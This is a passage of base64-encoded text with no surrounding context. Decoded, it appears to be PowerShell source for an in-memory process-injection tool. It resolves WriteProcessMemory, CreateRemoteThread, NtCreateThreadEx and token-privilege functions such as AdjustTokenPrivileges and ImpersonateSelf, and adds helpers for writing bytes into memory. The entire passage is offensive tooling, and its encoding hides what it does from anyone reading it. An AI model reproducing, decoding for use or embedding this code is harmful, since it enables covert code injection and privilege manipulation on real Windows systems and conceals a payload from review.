bHVlICRPcGVuUHJvY2VzcwoJCQoJCSRXYWl0Rm9yU2luZ2xlT2JqZWN0QWRkciA9IEdldC1Qcm9j
QWRkcmVzcyBrZXJuZWwzMi5kbGwgV2FpdEZvclNpbmdsZU9iamVjdAoJICAgICRXYWl0Rm9yU2lu
Z2xlT2JqZWN0RGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtVSW50MzJd
KSAoW1VJbnQzMl0pCgkgICAgJFdhaXRGb3JTaW5nbGVPYmplY3QgPSBbU3lzdGVtLlJ1bnRpbWUu
SW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigk
V2FpdEZvclNpbmdsZU9iamVjdEFkZHIsICRXYWl0Rm9yU2luZ2xlT2JqZWN0RGVsZWdhdGUpCgkJ
JFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5h
bWUgV2FpdEZvclNpbmdsZU9iamVjdCAtVmFsdWUgJFdhaXRGb3JTaW5nbGVPYmplY3QKCQkKCQkk
V3JpdGVQcm9jZXNzTWVtb3J5QWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgV3Jp
dGVQcm9jZXNzTWVtb3J5CiAgICAgICAgJFdyaXRlUHJvY2Vzc01lbW9yeURlbGVnYXRlID0gR2V0
LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbSW50UHRyXSwgW0ludFB0cl0sIFtVSW50UHRyXSwg
W1VJbnRQdHJdLk1ha2VCeVJlZlR5cGUoKSkgKFtCb29sXSkKICAgICAgICAkV3JpdGVQcm9jZXNz
TWVtb3J5ID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVs
ZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJFdyaXRlUHJvY2Vzc01lbW9yeUFkZHIsICRXcml0ZVBy
b2Nlc3NNZW1vcnlEZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIC1NZW1i
ZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBXcml0ZVByb2Nlc3NNZW1vcnkgLVZhbHVlICRXcml0
ZVByb2Nlc3NNZW1vcnkKCQkKCQkkUmVhZFByb2Nlc3NNZW1vcnlBZGRyID0gR2V0LVByb2NBZGRy
ZXNzIGtlcm5lbDMyLmRsbCBSZWFkUHJvY2Vzc01lbW9yeQogICAgICAgICRSZWFkUHJvY2Vzc01l
bW9yeURlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbSW50UHRyXSwgW0lu
dFB0cl0sIFtVSW50UHRyXSwgW1VJbnRQdHJdLk1ha2VCeVJlZlR5cGUoKSkgKFtCb29sXSkKICAg
ICAgICAkUmVhZFByb2Nlc3NNZW1vcnkgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2Vz
Lk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkUmVhZFByb2Nlc3NNZW1v
cnlBZGRyLCAkUmVhZFByb2Nlc3NNZW1vcnlEZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBB
ZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBSZWFkUHJvY2Vzc01lbW9y
eSAtVmFsdWUgJFJlYWRQcm9jZXNzTWVtb3J5CgkJCgkJJENyZWF0ZVJlbW90ZVRocmVhZEFkZHIg
PSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIENyZWF0ZVJlbW90ZVRocmVhZAogICAgICAg
ICRDcmVhdGVSZW1vdGVUaHJlYWREZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRy
XSwgW0ludFB0cl0sIFtVSW50UHRyXSwgW0ludFB0cl0sIFtJbnRQdHJdLCBbVUludDMyXSwgW0lu
dFB0cl0pIChbSW50UHRyXSkKICAgICAgICAkQ3JlYXRlUmVtb3RlVGhyZWFkID0gW1N5c3RlbS5S
dW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBv
aW50ZXIoJENyZWF0ZVJlbW90ZVRocmVhZEFkZHIsICRDcmVhdGVSZW1vdGVUaHJlYWREZWxlZ2F0
ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0
eSAtTmFtZSBDcmVhdGVSZW1vdGVUaHJlYWQgLVZhbHVlICRDcmVhdGVSZW1vdGVUaHJlYWQKCQkK
CQkkR2V0RXhpdENvZGVUaHJlYWRBZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBH
ZXRFeGl0Q29kZVRocmVhZAogICAgICAgICRHZXRFeGl0Q29kZVRocmVhZERlbGVnYXRlID0gR2V0
LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbSW50MzJdLk1ha2VCeVJlZlR5cGUoKSkgKFtCb29s
XSkKICAgICAgICAkR2V0RXhpdENvZGVUaHJlYWQgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNl
cnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkR2V0RXhpdENv
ZGVUaHJlYWRBZGRyLCAkR2V0RXhpdENvZGVUaHJlYWREZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlv
bnMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBHZXRFeGl0Q29k
ZVRocmVhZCAtVmFsdWUgJEdldEV4aXRDb2RlVGhyZWFkCgkJCgkJJE9wZW5UaHJlYWRUb2tlbkFk
ZHIgPSBHZXQtUHJvY0FkZHJlc3MgQWR2YXBpMzIuZGxsIE9wZW5UaHJlYWRUb2tlbgogICAgICAg
ICRPcGVuVGhyZWFkVG9rZW5EZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRyXSwg
W1VJbnQzMl0sIFtCb29sXSwgW0ludFB0cl0uTWFrZUJ5UmVmVHlwZSgpKSAoW0Jvb2xdKQogICAg
ICAgICRPcGVuVGhyZWFkVG9rZW4gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1h
cnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkT3BlblRocmVhZFRva2VuQWRk
ciwgJE9wZW5UaHJlYWRUb2tlbkRlbGVnYXRlKQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1i
ZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE9wZW5UaHJlYWRUb2tlbiAtVmFsdWUg
JE9wZW5UaHJlYWRUb2tlbgoJCQoJCSRHZXRDdXJyZW50VGhyZWFkQWRkciA9IEdldC1Qcm9jQWRk
cmVzcyBrZXJuZWwzMi5kbGwgR2V0Q3VycmVudFRocmVhZAogICAgICAgICRHZXRDdXJyZW50VGhy
ZWFkRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoKSAoW0ludFB0cl0pCiAgICAgICAgJEdl
dEN1cnJlbnRUaHJlYWQgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxd
OjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkR2V0Q3VycmVudFRocmVhZEFkZHIsICRH
ZXRDdXJyZW50VGhyZWFkRGVsZWdhdGUpCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAt
TWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgR2V0Q3VycmVudFRocmVhZCAtVmFsdWUgJEdl
dEN1cnJlbnRUaHJlYWQKCQkKCQkkQWRqdXN0VG9rZW5Qcml2aWxlZ2VzQWRkciA9IEdldC1Qcm9j
QWRkcmVzcyBBZHZhcGkzMi5kbGwgQWRqdXN0VG9rZW5Qcml2aWxlZ2VzCiAgICAgICAgJEFkanVz
dFRva2VuUHJpdmlsZWdlc0RlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBb
Qm9vbF0sIFtJbnRQdHJdLCBbVUludDMyXSwgW0ludFB0cl0sIFtJbnRQdHJdKSAoW0Jvb2xdKQog
ICAgICAgICRBZGp1c3RUb2tlblByaXZpbGVnZXMgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNl
cnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkQWRqdXN0VG9r
ZW5Qcml2aWxlZ2VzQWRkciwgJEFkanVzdFRva2VuUHJpdmlsZWdlc0RlbGVnYXRlKQoJCSRXaW4z
MkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIEFk
anVzdFRva2VuUHJpdmlsZWdlcyAtVmFsdWUgJEFkanVzdFRva2VuUHJpdmlsZWdlcwoJCQoJCSRM
b29rdXBQcml2aWxlZ2VWYWx1ZUFkZHIgPSBHZXQtUHJvY0FkZHJlc3MgQWR2YXBpMzIuZGxsIExv
b2t1cFByaXZpbGVnZVZhbHVlQQogICAgICAgICRMb29rdXBQcml2aWxlZ2VWYWx1ZURlbGVnYXRl
ID0gR2V0LURlbGVnYXRlVHlwZSBAKFtTdHJpbmddLCBbU3RyaW5nXSwgW0ludFB0cl0pIChbQm9v
bF0pCiAgICAgICAgJExvb2t1cFByaXZpbGVnZVZhbHVlID0gW1N5c3RlbS5SdW50aW1lLkludGVy
b3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJExvb2t1
cFByaXZpbGVnZVZhbHVlQWRkciwgJExvb2t1cFByaXZpbGVnZVZhbHVlRGVsZWdhdGUpCgkJJFdp
bjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUg
TG9va3VwUHJpdmlsZWdlVmFsdWUgLVZhbHVlICRMb29rdXBQcml2aWxlZ2VWYWx1ZQoJCQoJCSRJ
bXBlcnNvbmF0ZVNlbGZBZGRyID0gR2V0LVByb2NBZGRyZXNzIEFkdmFwaTMyLmRsbCBJbXBlcnNv
bmF0ZVNlbGYKICAgICAgICAkSW1wZXJzb25hdGVTZWxmRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVU
eXBlIEAoW0ludDMyXSkgKFtCb29sXSkKICAgICAgICAkSW1wZXJzb25hdGVTZWxmID0gW1N5c3Rl
bS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlv
blBvaW50ZXIoJEltcGVyc29uYXRlU2VsZkFkZHIsICRJbXBlcnNvbmF0ZVNlbGZEZWxlZ2F0ZSkK
CQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAt
TmFtZSBJbXBlcnNvbmF0ZVNlbGYgLVZhbHVlICRJbXBlcnNvbmF0ZVNlbGYKCQkKCiAgICAgICAg
aWYgKChbRW52aXJvbm1lbnRdOjpPU1ZlcnNpb24uVmVyc2lvbiAtZ2UgKE5ldy1PYmplY3QgJ1Zl
cnNpb24nIDYsMCkpIC1hbmQgKFtFbnZpcm9ubWVudF06Ok9TVmVyc2lvbi5WZXJzaW9uIC1sdCAo
TmV3LU9iamVjdCAnVmVyc2lvbicgNiwyKSkpIHsKCQkgICAgJE50Q3JlYXRlVGhyZWFkRXhBZGRy
ID0gR2V0LVByb2NBZGRyZXNzIE50RGxsLmRsbCBOdENyZWF0ZVRocmVhZEV4CiAgICAgICAgICAg
ICROdENyZWF0ZVRocmVhZEV4RGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0u
TWFrZUJ5UmVmVHlwZSgpLCBbVUludDMyXSwgW0ludFB0cl0sIFtJbnRQdHJdLCBbSW50UHRyXSwg
W0ludFB0cl0sIFtCb29sXSwgW1VJbnQzMl0sIFtVSW50MzJdLCBbVUludDMyXSwgW0ludFB0cl0p
IChbVUludDMyXSkKICAgICAgICAgICAgJE50Q3JlYXRlVGhyZWFkRXggPSBbU3lzdGVtLlJ1bnRp
bWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRl
cigkTnRDcmVhdGVUaHJlYWRFeEFkZHIsICROdENyZWF0ZVRocmVhZEV4RGVsZWdhdGUpCgkJICAg
ICRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1O
YW1lIE50Q3JlYXRlVGhyZWFkRXggLVZhbHVlICROdENyZWF0ZVRocmVhZEV4CiAgICAgICAgfQoJ
CQoJCSRJc1dvdzY0UHJvY2Vzc0FkZHIgPSBHZXQtUHJvY0FkZHJlc3MgS2VybmVsMzIuZGxsIElz
V293NjRQcm9jZXNzCiAgICAgICAgJElzV293NjRQcm9jZXNzRGVsZWdhdGUgPSBHZXQtRGVsZWdh
dGVUeXBlIEAoW0ludFB0cl0sIFtCb29sXS5NYWtlQnlSZWZUeXBlKCkpIChbQm9vbF0pCiAgICAg
ICAgJElzV293NjRQcm9jZXNzID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJz
aGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJElzV293NjRQcm9jZXNzQWRkciwg
JElzV293NjRQcm9jZXNzRGVsZWdhdGUpCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAt
TWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSXNXb3c2NFByb2Nlc3MgLVZhbHVlICRJc1dv
dzY0UHJvY2VzcwoJCQoJCSRDcmVhdGVUaHJlYWRBZGRyID0gR2V0LVByb2NBZGRyZXNzIEtlcm5l
bDMyLmRsbCBDcmVhdGVUaHJlYWQKICAgICAgICAkQ3JlYXRlVGhyZWFkRGVsZWdhdGUgPSBHZXQt
RGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtJbnRQdHJdLCBbSW50UHRyXSwgW0ludFB0cl0sIFtV
SW50MzJdLCBbVUludDMyXS5NYWtlQnlSZWZUeXBlKCkpIChbSW50UHRyXSkKICAgICAgICAkQ3Jl
YXRlVGhyZWFkID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0
RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJENyZWF0ZVRocmVhZEFkZHIsICRDcmVhdGVUaHJl
YWREZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5v
dGVQcm9wZXJ0eSAtTmFtZSBDcmVhdGVUaHJlYWQgLVZhbHVlICRDcmVhdGVUaHJlYWQKCQoJCSRM
b2NhbEZyZWVBZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBWaXJ0dWFsRnJlZQoJ
CSRMb2NhbEZyZWVEZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRyXSkKCQkkTG9j
YWxGcmVlID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVs
ZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJExvY2FsRnJlZUFkZHIsICRMb2NhbEZyZWVEZWxlZ2F0
ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIE5vdGVQcm9wZXJ0eSAtTmFtZSBMb2Nh
bEZyZWUgLVZhbHVlICRMb2NhbEZyZWUKCgkJcmV0dXJuICRXaW4zMkZ1bmN0aW9ucwoJfQoKCgkJ
CQoKCgoKCgoJRnVuY3Rpb24gU3ViLVNpZ25lZEludEFzVW5zaWduZWQKCXsKCQlQYXJhbSgKCQlb
UGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtJbnQ2NF0KCQkk
VmFsdWUxLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSld
CgkJW0ludDY0XQoJCSRWYWx1ZTIKCQkpCgkJCgkJW0J5dGVbXV0kVmFsdWUxQnl0ZXMgPSBbQml0
Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFZhbHVlMSkKCQlbQnl0ZVtdXSRWYWx1ZTJCeXRlcyA9IFtC
aXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkVmFsdWUyKQoJCVtCeXRlW11dJEZpbmFsQnl0ZXMgPSBb
Qml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoW1VJbnQ2NF0wKQoKCQlpZiAoJFZhbHVlMUJ5dGVzLkNv
dW50IC1lcSAkVmFsdWUyQnl0ZXMuQ291bnQpCgkJewoJCQkkQ2FycnlPdmVyID0gMAoJCQlmb3Ig
KCRpID0gMDsgJGkgLWx0ICRWYWx1ZTFCeXRlcy5Db3VudDsgJGkrKykKCQkJewoJCQkJJFZhbCA9
ICRWYWx1ZTFCeXRlc1skaV0gLSAkQ2FycnlPdmVyCgoJCQkJaWYgKCRWYWwgLWx0ICRWYWx1ZTJC
eXRlc1skaV0pCgkJCQl7CgkJCQkJJFZhbCArPSAyNTYKCQkJCQkkQ2FycnlPdmVyID0gMQoJCQkJ
fQoJCQkJZWxzZQoJCQkJewoJCQkJCSRDYXJyeU92ZXIgPSAwCgkJCQl9CgkJCQkKCQkJCQoJCQkJ
W1VJbnQxNl0kU3VtID0gJFZhbCAtICRWYWx1ZTJCeXRlc1skaV0KCgkJCQkkRmluYWxCeXRlc1sk
aV0gPSAkU3VtIC1iYW5kIDB4MDBGRgoJCQl9CgkJfQoJCWVsc2UKCQl7CgkJCVRocm93ICJDYW5u
b3Qgc3VidHJhY3QgYnl0ZWFycmF5cyBvZiBkaWZmZXJlbnQgc2l6ZXMiCgkJfQoJCQoJCXJldHVy
biBbQml0Q29udmVydGVyXTo6VG9JbnQ2NCgkRmluYWxCeXRlcywgMCkKCX0KCQoKCUZ1bmN0aW9u
IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkCgl7CgkJUGFyYW0oCgkJW1BhcmFtZXRlcihQb3NpdGlv
biA9IDAsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbSW50NjRdCgkJJFZhbHVlMSwKCQkKCQlbUGFy
YW1ldGVyKFBvc2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtJbnQ2NF0KCQkkVmFs
dWUyCgkJKQoJCQoJCVtCeXRlW11dJFZhbHVlMUJ5dGVzID0gW0JpdENvbnZlcnRlcl06OkdldEJ5
dGVzKCRWYWx1ZTEpCgkJW0J5dGVbXV0kVmFsdWUyQnl0ZXMgPSBbQml0Q29udmVydGVyXTo6R2V0
Qnl0ZXMoJFZhbHVlMikKCQlbQnl0ZVtdXSRGaW5hbEJ5dGVzID0gW0JpdENvbnZlcnRlcl06Okdl
dEJ5dGVzKFtVSW50NjRdMCkKCgkJaWYgKCRWYWx1ZTFCeXRlcy5Db3VudCAtZXEgJFZhbHVlMkJ5
dGVzLkNvdW50KQoJCXsKCQkJJENhcnJ5T3ZlciA9IDAKCQkJZm9yICgkaSA9IDA7ICRpIC1sdCAk
VmFsdWUxQnl0ZXMuQ291bnQ7ICRpKyspCgkJCXsKCgkJCQlbVUludDE2XSRTdW0gPSAkVmFsdWUx
Qnl0ZXNbJGldICsgJFZhbHVlMkJ5dGVzWyRpXSArICRDYXJyeU92ZXIKCgkJCQkkRmluYWxCeXRl
c1skaV0gPSAkU3VtIC1iYW5kIDB4MDBGRgoJCQkJCgkJCQlpZiAoKCRTdW0gLWJhbmQgMHhGRjAw
KSAtZXEgMHgxMDApCgkJCQl7CgkJCQkJJENhcnJ5T3ZlciA9IDEKCQkJCX0KCQkJCWVsc2UKCQkJ
CXsKCQkJCQkkQ2FycnlPdmVyID0gMAoJCQkJfQoJCQl9CgkJfQoJCWVsc2UKCQl7CgkJCVRocm93
ICJDYW5ub3QgYWRkIGJ5dGVhcnJheXMgb2YgZGlmZmVyZW50IHNpemVzIgoJCX0KCQkKCQlyZXR1
cm4gW0JpdENvbnZlcnRlcl06OlRvSW50NjQoJEZpbmFsQnl0ZXMsIDApCgl9CgkKCglGdW5jdGlv
biBDb21wYXJlLVZhbDFHcmVhdGVyVGhhblZhbDJBc1VJbnQKCXsKCQlQYXJhbSgKCQlbUGFyYW1l
dGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtJbnQ2NF0KCQkkVmFsdWUx
LAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW0lu
dDY0XQoJCSRWYWx1ZTIKCQkpCgkJCgkJW0J5dGVbXV0kVmFsdWUxQnl0ZXMgPSBbQml0Q29udmVy
dGVyXTo6R2V0Qnl0ZXMoJFZhbHVlMSkKCQlbQnl0ZVtdXSRWYWx1ZTJCeXRlcyA9IFtCaXRDb252
ZXJ0ZXJdOjpHZXRCeXRlcygkVmFsdWUyKQoKCQlpZiAoJFZhbHVlMUJ5dGVzLkNvdW50IC1lcSAk
VmFsdWUyQnl0ZXMuQ291bnQpCgkJewoJCQlmb3IgKCRpID0gJFZhbHVlMUJ5dGVzLkNvdW50LTE7
ICRpIC1nZSAwOyAkaS0tKQoJCQl7CgkJCQlpZiAoJFZhbHVlMUJ5dGVzWyRpXSAtZ3QgJFZhbHVl
MkJ5dGVzWyRpXSkKCQkJCXsKCQkJCQlyZXR1cm4gJHRydWUKCQkJCX0KCQkJCWVsc2VpZiAoJFZh
bHVlMUJ5dGVzWyRpXSAtbHQgJFZhbHVlMkJ5dGVzWyRpXSkKCQkJCXsKCQkJCQlyZXR1cm4gJGZh
bHNlCgkJCQl9CgkJCX0KCQl9CgkJZWxzZQoJCXsKCQkJVGhyb3cgIkNhbm5vdCBjb21wYXJlIGJ5
dGUgYXJyYXlzIG9mIGRpZmZlcmVudCBzaXplIgoJCX0KCQkKCQlyZXR1cm4gJGZhbHNlCgl9CgkK
CglGdW5jdGlvbiBDb252ZXJ0LVVJbnRUb0ludAoJewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoUG9z
aXRpb24gPSAwLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1VJbnQ2NF0KCQkkVmFsdWUKCQkpCgkJ
CgkJW0J5dGVbXV0kVmFsdWVCeXRlcyA9IFtCaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkVmFsdWUp
CgkJcmV0dXJuIChbQml0Q29udmVydGVyXTo6VG9JbnQ2NCgkVmFsdWVCeXRlcywgMCkpCgl9CgkK
CQoJRnVuY3Rpb24gVGVzdC1NZW1vcnlSYW5nZVZhbGlkCgl7CgkJUGFyYW0oCgkJW1BhcmFtZXRl
cihQb3NpdGlvbiA9IDAsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbU3RyaW5nXQoJCSREZWJ1Z1N0
cmluZywKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJ
CVtTeXN0ZW0uT2JqZWN0XQoJCSRQRUluZm8sCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDIs
IE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbSW50UHRyXQoJCSRTdGFydEFkZHJlc3MsCgkJCgkJW1Bh
cmFtZXRlcihQYXJhbWV0ZXJTZXROYW1lID0gIlNpemUiLCBQb3NpdGlvbiA9IDMsIE1hbmRhdG9y
eSA9ICR0cnVlKV0KCQlbSW50UHRyXQoJCSRTaXplCgkJKQoJCQoJICAgIFtJbnRQdHJdJEZpbmFs
RW5kQWRkcmVzcyA9IFtJbnRQdHJdKEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkU3RhcnRBZGRy
ZXNzKSAoJFNpemUpKQoJCQoJCSRQRUVuZEFkZHJlc3MgPSAkUEVJbmZvLkVuZEFkZHJlc3MKCQkK
CQlpZiAoKENvbXBhcmUtVmFsMUdyZWF0ZXJUaGFuVmFsMkFzVUludCAoJFBFSW5mby5QRUhhbmRs
ZSkgKCRTdGFydEFkZHJlc3MpKSAtZXEgJHRydWUpCgkJewoJCQlUaHJvdyAiVHJ5aW5nIHRvIHdy
aXRlIHRvIG1lbW9yeSBzbWFsbGVyIHRoYW4gYWxsb2NhdGVkIGFkZHJlc3MgcmFuZ2UuICREZWJ1
Z1N0cmluZyIKCQl9CgkJaWYgKChDb21wYXJlLVZhbDFHcmVhdGVyVGhhblZhbDJBc1VJbnQgKCRG
aW5hbEVuZEFkZHJlc3MpICgkUEVFbmRBZGRyZXNzKSkgLWVxICR0cnVlKQoJCXsKCQkJVGhyb3cg
IlRyeWluZyB0byB3cml0ZSB0byBtZW1vcnkgZ3JlYXRlciB0aGFuIGFsbG9jYXRlZCBhZGRyZXNz
IHJhbmdlLiAkRGVidWdTdHJpbmciCgkJfQoJfQoJCgkKCUZ1bmN0aW9uIFdyaXRlLUJ5dGVzVG9N
ZW1vcnkKCXsKCQlQYXJhbSgKCQkJW1BhcmFtZXRlcihQb3NpdGlvbj0wLCBNYW5kYXRvcnkgPSAk
dHJ1ZSldCgkJCVtCeXRlW11dCgkJCSRCeXRlcywKCQkJCgkJCVtQYXJhbWV0ZXIoUG9zaXRpb249
MSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCQlbSW50UHRyXQoJCQkkTWVtb3J5QWRkcmVzcwoJCSkK
CQoJCWZvciAoJE9mZnNldCA9IDA7ICRPZmZzZXQgLWx0ICRCeXRlcy5MZW5ndGg7ICRPZmZzZXQr
KykKCQl7CgkJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OldyaXRl
Qnl0ZSgkTWVtb3J5QWRkcmVzcywgJE9mZnNldCwgJEJ5dGVzWyRPZmZzZXRdKQoJCX0KCX0KCQoK
CglGdW5jdGlvbiBHZXQtRGVsZWdhdGVUeXBlCgl7CgkgICAgUGFyYW0KCSAgICAoCgkgICAgICAg
IFtPdXRwdXRUeXBlKFtUeXBlXSldCgkgICAgICAgIAoJICAgICAgICBbUGFyYW1ldGVyKCBQb3Np
dGlvbiA9IDApXQoJICAgICAgICBbVHlwZVtdXQoJICAgICAgICAkUGFyYW1ldGVycyA9IChOZXct
T2JqZWN0IFR5cGVbXSgwKSksCgkgICAgICAgIAoJICAgICAgICBbUGFyYW1ldGVyKCBQb3NpdGlv
biA9IDEgKV0KCSAgICAgICAgW1R5cGVdCgkgICAgICAgICRSZXR1cm5UeXBlID0gW1ZvaWRdCgkg
ICAgKQoKCSAgICAkRG9tYWluID0gW0FwcERvbWFpbl06OkN1cnJlbnREb21haW4KCSAgICAkRHlu
QXNzZW1ibHkgPSBOZXctT2JqZWN0IFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZSgnUmVm
bGVjdGVkRGVsZWdhdGUnKQoJICAgICRBc3NlbWJseUJ1aWxkZXIgPSAkRG9tYWluLkRlZmluZUR5
bmFtaWNBc3NlbWJseSgkRHluQXNzZW1ibHksIFtTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkFzc2Vt
Ymx5QnVpbGRlckFjY2Vzc106OlJ1bikKCSAgICAkTW9kdWxlQnVpbGRlciA9ICRBc3NlbWJseUJ1
aWxkZXIuRGVmaW5lRHluYW1pY01vZHVsZSgnSW5NZW1vcnlNb2R1bGUnLCAkZmFsc2UpCgkgICAg
JFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lVHlwZSgnTXlEZWxlZ2F0ZVR5cGUn
LCAnQ2xhc3MsIFB1YmxpYywgU2VhbGVkLCBBbnNpQ2xhc3MsIEF1dG9DbGFzcycsIFtTeXN0ZW0u
TXVsdGljYXN0RGVsZWdhdGVdKQoJICAgICRDb25zdHJ1Y3RvckJ1aWxkZXIgPSAkVHlwZUJ1aWxk
ZXIuRGVmaW5lQ29uc3RydWN0b3IoJ1JUU3BlY2lhbE5hbWUsIEhpZGVCeVNpZywgUHVibGljJywg
W1N5c3RlbS5SZWZsZWN0aW9uLkNhbGxpbmdDb252ZW50aW9uc106OlN0YW5kYXJkLCAkUGFyYW1l
dGVycykKCSAgICAkQ29uc3RydWN0b3JCdWlsZGVyLlNldEltcGxlbWVudGF0aW9uRmxhZ3MoJ1J1
bnRpbWUsIE1hbmFnZWQnKQoJICAgICRNZXRob2RCdWlsZGVyID0gJFR5cGVCdWlsZGVyLkRlZmlu
